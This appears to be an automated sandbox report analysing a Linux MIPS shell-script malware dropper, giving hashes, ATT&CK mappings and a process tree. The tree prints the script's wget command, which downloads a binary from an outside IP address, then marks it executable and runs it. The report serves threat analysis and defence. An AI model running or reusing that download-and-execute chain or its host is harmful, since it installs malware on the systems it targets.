64910261f7c28947f9c8f8afdcece25addec9c02ee62d1dedded066a8d6571f3

Analysis

max time kernel
2s
max time network
4s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
10/09/2026, 16:22

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
all.sh
Size 2KB
Sample260910-tvalbsdr4z
SHA256 64910261f7c28947f9c8f8afdcece25addec9c02ee62d1dedded066a8d6571f3
MD5 3ad076810b8065e724d44e53f59cff25
SHA1 d8bb68d8461a99d99698678be6f52528c0d1dcc1
SHA512 c4813bb5c2d0f3b952ae60a78fdbfaa6ead682a379e1bd16df2db1a99baa3e22534612b2f3997c140bb01b262a66bf140c24f92bc6686de092874c77b7049bbb
TLSH
T1FF4132F62722677382AF89E697E2574AA04500537CD80BF0FBEC65103F56ED9BC8A501
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
741	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/morte	742	all.sh

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
718	wget

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/morte	wget

/tmp/all.sh
/tmp/all.sh
1⤵
- Executes dropped EXE
PID:712
- /bin/uname
  uname -m
  2⤵
  PID:715
- /usr/bin/wget
  wget -q http://180.93.111.142/00101010101001/morte.mips -O morte
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:718
- /bin/chmod
  chmod +x morte
  2⤵
  - File and Directory Permissions Modification
  PID:741
- /tmp/morte
  ./morte
  2⤵
  PID:742

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

morte

Path /tmp/morte
Size 146KB
SHA256 f348ecd809cf4663af8eec9373b57efcb807ec949134de96bfa3f055f6486b44
MD5 80f1b6f8d1e8d0ab2e140720e404e2e2
SHA1 ea1ca35d519792009d648167aba9ac708863f7d6
SHA512 c7eba2d40db3a647425c28f3fabfc85ab5a51e75e79b8d653ef62340a66744379764873c4ca97e5d3ff53a8facb4bfd9f8ce100a6d16e330e68827240599974b
SSDEEP 3072:Ii1COpoitA4da5XUrdqG5oGgBilOaU2gZheR81DFmjG7:hcQA4da5XxG5eYZgZUCMy
TLSH
T1BDE33A4AB721CF50DBA8D63006B7CB5367BD129116D29886E35DCE103FA439C682FFA5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download